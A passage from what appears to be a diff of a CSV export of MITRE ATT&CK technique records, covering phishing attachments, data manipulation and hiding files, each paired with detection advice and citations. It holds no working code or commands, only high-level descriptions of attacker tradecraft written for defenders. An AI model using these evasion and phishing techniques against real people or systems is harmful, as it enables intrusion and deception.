industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. -There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597,attack-pattern,['initial-access'],2021-04-01T16:21:17.553Z,2020-03-02T19:05:18.137Z,"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. +There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",['initial-access'],https://attack.mitre.org/techniques/T1566/001,mitre-attack,T1566.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Philip Winther'],"['File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. -Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",['Philip Winther'],,,"['macOS', 'Windows', 'Linux']",,CAPEC-163,https://capec.mitre.org/data/definitions/163.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1566', 'url': 'https://attack.mitre.org/techniques/T1566'}, {'external_id': 'CAPEC-98', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/98.html'}, {'source_name': 'Microsoft Anti Spoofing', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.'}, {'source_name': 'ACSC Email Spoofing', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.1,False,https://attack.mitre.org/techniques/T1566,mitre-attack,T1566,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Phishing,"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. +Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)",True,,"['macOS', 'Windows', 'Linux']",,CAPEC-163,https://capec.mitre.org/data/definitions/163.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566', 'external_id': 'T1566'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/98.html', 'external_id': 'CAPEC-98'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",2.2,attack-pattern,attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T18:45:07.892Z,2021-10-18T17:39:13.604Z,Phishing,"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. -Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.",attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b,attack-pattern,['initial-access'],2021-04-14T14:38:43.211Z,2020-03-02T18:45:07.892Z,"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. +Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.",['initial-access'],https://attack.mitre.org/techniques/T1566,mitre-attack,T1566,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Philip Winther'],"['File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) @@ -1123,102 +1290,105 @@ URL inspection within email (including expanding shortened links) can help detec Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. -Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",['Philip Winther'],,,"['Linux', 'macOS', 'Windows', 'SaaS', 'Office 365', 'Google Workspace']",,CAPEC-98,https://capec.mitre.org/data/definitions/98.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1565.003', 'url': 'https://attack.mitre.org/techniques/T1565/003'}, {'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38', 'source_name': 'FireEye APT38 Oct 2018'}, {'source_name': 'DOJ Lazarus Sony 2018', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,True,https://attack.mitre.org/techniques/T1565/003,mitre-attack,T1565.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Runtime Data Manipulation,"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",False,,"['Linux', 'macOS', 'Windows', 'SaaS', 'Office 365', 'Google Workspace']",,CAPEC-98,https://capec.mitre.org/data/definitions/98.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565/003', 'external_id': 'T1565.003'}, {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}]",1.0,attack-pattern,attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:30:05.252Z,2020-03-28T23:10:34.359Z,Runtime Data Manipulation,"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. -Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490,attack-pattern,['impact'],2020-03-28T23:10:34.359Z,2020-03-02T14:30:05.252Z,"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.","['Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'File: File Metadata']",,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1565.002', 'url': 'https://attack.mitre.org/techniques/T1565/002'}, {'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38', 'source_name': 'FireEye APT38 Oct 2018'}, {'source_name': 'DOJ Lazarus Sony 2018', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,True,https://attack.mitre.org/techniques/T1565/002,mitre-attack,T1565.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Transmitted Data Manipulation,"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. +Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",['impact'],https://attack.mitre.org/techniques/T1565/003,mitre-attack,T1565.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'File: File Metadata']",,"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.",True,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565/002', 'external_id': 'T1565.002'}, {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}]",1.0,attack-pattern,attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:27:00.693Z,2020-03-02T15:20:28.455Z,Transmitted Data Manipulation,"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. -Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6,attack-pattern,['impact'],2020-03-02T15:20:28.455Z,2020-03-02T14:27:00.693Z,"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ","['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1565.001', 'url': 'https://attack.mitre.org/techniques/T1565/001'}, {'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38', 'source_name': 'FireEye APT38 Oct 2018'}, {'source_name': 'DOJ Lazarus Sony 2018', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,True,https://attack.mitre.org/techniques/T1565/001,mitre-attack,T1565.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Stored Data Manipulation,"Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. +Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",['impact'],https://attack.mitre.org/techniques/T1565/002,mitre-attack,T1565.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ",True,"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565/001', 'external_id': 'T1565.001'}, {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}]",1.0,attack-pattern,attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:22:24.410Z,2020-03-02T15:17:40.505Z,Stored Data Manipulation,"Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. -Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292,attack-pattern,['impact'],2020-03-02T15:17:40.505Z,2020-03-02T14:22:24.410Z,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.","['File: File Creation', 'File: File Deletion', 'File: File Modification']",,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1565', 'url': 'https://attack.mitre.org/techniques/T1565'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,False,https://attack.mitre.org/techniques/T1565,mitre-attack,T1565,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Manipulation,"Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. +Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",['impact'],https://attack.mitre.org/techniques/T1565/001,mitre-attack,T1565.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Deletion', 'File: File Modification']",,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",True,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1565', 'external_id': 'T1565'}]",1.0,attack-pattern,attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:19:22.609Z,2021-04-24T14:04:16.371Z,Data Manipulation,"Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. -The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931,attack-pattern,['impact'],2021-04-24T14:04:16.371Z,2020-03-02T14:19:22.609Z,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.","['File: File Metadata', 'Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564.001', 'url': 'https://attack.mitre.org/techniques/T1564/001'}, {'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'source_name': 'Sofacy Komplex Trojan'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'source_name': 'Antiquated Mac Malware'}, {'url': 'https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf', 'description': 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', 'source_name': 'WireLurker'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1564/001,mitre-attack,T1564.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hidden Files and Directories,"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). +The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",['impact'],https://attack.mitre.org/techniques/T1565,mitre-attack,T1565,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Metadata', 'Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Integrity'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/001', 'external_id': 'T1564.001'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}, {'source_name': 'WireLurker', 'description': 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', 'url': 'https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf'}]",1.0,attack-pattern,attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-26T17:46:13.128Z,2020-03-29T22:32:25.985Z,Hidden Files and Directories,"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. -Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d,attack-pattern,['defense-evasion'],2020-03-29T22:32:25.985Z,2020-02-26T17:46:13.128Z,"Monitor the file system and shell commands for files being created with a leading ""."" and the Windows command-line use of attrib.exe to add the hidden attribute.","['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",,['Host forensic analysis'],['User'],"['Windows', 'macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564', 'url': 'https://attack.mitre.org/techniques/T1564'}, {'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'source_name': 'Sofacy Komplex Trojan'}, {'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf', 'description': 'Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', 'source_name': 'Cybereason OSX Pirrit'}, {'url': 'https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/', 'description': 'Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', 'source_name': 'MalwareBytes ADS July 2015'}, {'source_name': 'Sophos Ragnar May 2020', 'url': 'https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/', 'description': 'SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1564,mitre-attack,T1564,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hide Artifacts,"Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015) +Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",['defense-evasion'],https://attack.mitre.org/techniques/T1564/001,mitre-attack,T1564.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata']",['Host forensic analysis'],"Monitor the file system and shell commands for files being created with a leading ""."" and the Windows command-line use of attrib.exe to add the hidden attribute.",True,['User'],"['Windows', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564', 'external_id': 'T1564'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': 'Cybereason OSX Pirrit', 'description': 'Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', 'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf'}, {'source_name': 'MalwareBytes ADS July 2015', 'description': 'Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.', 'url': 'https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/'}, {'source_name': 